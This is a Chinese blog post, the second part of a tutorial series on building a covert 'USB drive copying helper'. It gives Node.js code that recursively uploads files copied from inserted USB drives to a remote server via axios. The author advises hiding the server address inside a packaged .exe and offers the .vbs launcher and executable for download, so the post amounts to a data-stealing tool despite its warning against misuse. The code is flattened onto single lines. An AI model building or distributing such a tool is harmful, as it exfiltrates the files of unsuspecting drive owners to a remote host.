前言:切莫用其干坏事,否则后果自负

今天我们来聊聊如何将文件上传至服务器。

首先,需要前面(文章一)的代码为基础,在此基础上传文件。为了节省篇幅,在这我贴出改动的代码。

为了方便程序的通用性,在同级目录下创建config文件来保存服务器地址,配置文件如下。

当然把服务器地址暴露出来似乎不符合真香定律,作为“职业选手”,应该放置在代码内,打包过后就可以隐藏了。

在 “复制文件到指定目录”的函数中新增两行代码:

以上都是在原代码上添加几行新的代码,下面是真正上传文件代码。

/*
* 迭代上传文件函数 (使用递归上传)
* 上传复制后 保存在本地的文件
* */
function forUpFile(count=0){if(count!=localFileDir.length){upFile(localFileDir[count],e=>{count++forUpFile(count)})}else {console.log("全部文件上传完成")}
}/*
* 上传文件到服务器
* 第一参数:文件所在路径 第二参数:回调函数
* */
function upFile(path,callback){let form = new formData()form.append("file", fs.createReadStream(path))          // 服务器指定文件 key 为 fileaxios({method: "post",url: url,data: form,headers: form.getHeaders()}).then(e=>{callback(e.data)})
}

至此就完成了支持上传文件的U盘拷贝文件的小助手。当然,你要有能够接收文件的服务器,如果没有,那就看看我下面的一章,如何搭建能够接收文件的服务器吧!

源代码打包:

目录:.vbs文件  实现源代码 打包后的.exe文件  配置文件

下载:第二章源代码打包-支持上传文件至服务器的U盘拷贝的小助手.rar-其它文档类资源-CSDN下载

上一章:手把手教你写复制U盘文件神器(一)_小坑2号的博客-CSDN博客

下一章:手把手教你写复制U盘文件神器(三)​​​​​​​

手把手教你写复制U盘文件神器(二)相关推荐

  1. 手把手教你写复制U盘文件神器(一)

    前言:切莫用其干坏事,否则后果自负 我们废话少说,直接上代码,且代码都有关键注释 const fs = require("fs")let dir = "E:" ...

  2. 手把手教你清理 windows C盘文件

    一:使用工具-spacesniffer 1,百度下载spacesniffer 是一个可以让您直观的查看硬盘中文件和文件夹的分布情况的应用程序. 下载地址 2,选择磁盘 3,软件打开后 4,操作方法 1 ...

  3. 手把手教你写一个java的orm(二)

    创建映射关系 ​ 想要实现一个orm的功能,我觉得就是要将class和数据库中的表创建映射关系.把class的名称和表的名称,class属性名称和表的字段名称,属性类型与表的字段类型一一对应起来.可以 ...

  4. 手把手教你写电商爬虫-第二课 实战尚妆网分页商品采集爬虫

    系列教程 手把手教你写电商爬虫-第一课 找个软柿子捏捏 如果没有看过第一课的朋友,请先移步第一课,第一课讲了一些基础性的东西,通过软柿子"切糕王子"这个电商网站好好的练了一次手,相 ...

  5. 手把手教你写专利申请书/如何申请专利

    摘要 小前言 (一)申请前的准备工作     1.申请前查询     2.其他方面的考虑     3.申请文件准备 (二)填写专利申请系列文档     1.实际操作步骤     2.具体操作     ...

  6. win7开机卡在正在启动_手把手教你大白菜PE启动盘安装win7最详细的图解教程

    一.准备工作,制作好PE启动盘U盘一个,把所需要的文件提前复制到U盘里: 2,把启动盘插到电脑USB插口上: 3-1,按下电脑主机开机按钮: 3-2,如果电脑是打开的请重启电脑: 4,设置从U盘启动: ...

  7. 手把手教你写批处理-批处理的介绍

    标题:手把手教你写批处理-批处理的介绍 作者:佚名 编者:Climbing 出处:中国 DOS 联盟之联合 DOS 论坛 题注:willsort 日期:2004-09-21 ------------- ...

  8. 手把手教你写专利申请书·如何申请专利

    摘要 小前言 (一)申请前的准备工作     1.申请前查询     2.其他方面的考虑     3.申请文件准备 (二)填写专利申请系列文档     1.实际操作步骤     2.具体操作     ...

  9. (转)手把手教你写专利申请书•如何申请专利

    如何写好专利申请?由于很多专利申请人都是第一次申请,因此,可能有一种神秘和些许恐惧.本文写的是如何写专利申请书,手把手教你写专利申请并提供申请专利时的注意事项,相关参考并有相关专利申请书样本可供下载. ...

最新文章

  1. mysql 从数据库配置文件_mysql数据库配置文件
  2. 有人说:轻量级锁一定比重量级锁快!我忍不住笑了
  3. Magento 添加后台管理 addColumn
  4. csrf防御 php,跨站请求伪造CSRF的防御实例(PHP版本)
  5. 转]python 结巴分词(jieba)学习
  6. NLPCC 2022 投稿开始啦~
  7. 181230每日一句
  8. linux wps 数学符号,2016版WPS数学符号如何输入
  9. 视频教程-visio 2010基础培训视频教程-Office/WPS
  10. 《时空幻境》Braid.v1.010.r2-RES-patch
  11. head first JavaScript pdf 下载
  12. 跑深度模型的显卡_近乎白嫖!我的深度学习云GPU平台!便宜、好用、速来!
  13. 物联网行业解决方案之智慧畜牧
  14. 狂送京东购物卡(无门槛¥1200)
  15. 神奇女侠计算机技术,神奇女侠代言 华硕灵耀X轻薄本及双屏AI概念机亮相
  16. Oracle update 更新数据语法和写法
  17. RabbitMQ 学习笔记
  18. QUECTEL上海移远4G通讯CAT4模组EC20CEFAG模块串口调试指南之02EC20模组硬件供电和开关机复位操作
  19. wordpress博客构建
  20. 不规则四边形的平行四边形化

热门文章

  1. 每日案例(第二期):智慧能源领域知识图谱实践案例速读
  2. Unity3D视频绿幕抠图的实现及优化
  3. 【极简版GH60】【GH60剖析】【五】壳和键帽的装配
  4. Linux图形界面进程名,如何使用xkill终结Linux桌面上的进程?
  5. android 友盟服务端推送给客户端,Android 友盟推送 厂商通道 接入Notes
  6. 无为一中2021高考成绩查询,高考成绩出来啦!2017无为各中学高考成绩喜报!!给所有教师点赞!!!...
  7. 《写给大家看的设计书》读后感
  8. 错误处理:TypeError: destroyWindow() missing required argument ‘winname‘ (pos 1)的详细讲解
  9. Google guava 事件总线 EventBus 进程内消息队列
  10. 硕士毕业论文参考文献整理、插入以及各种相关心得(限武汉大学EndNote软件)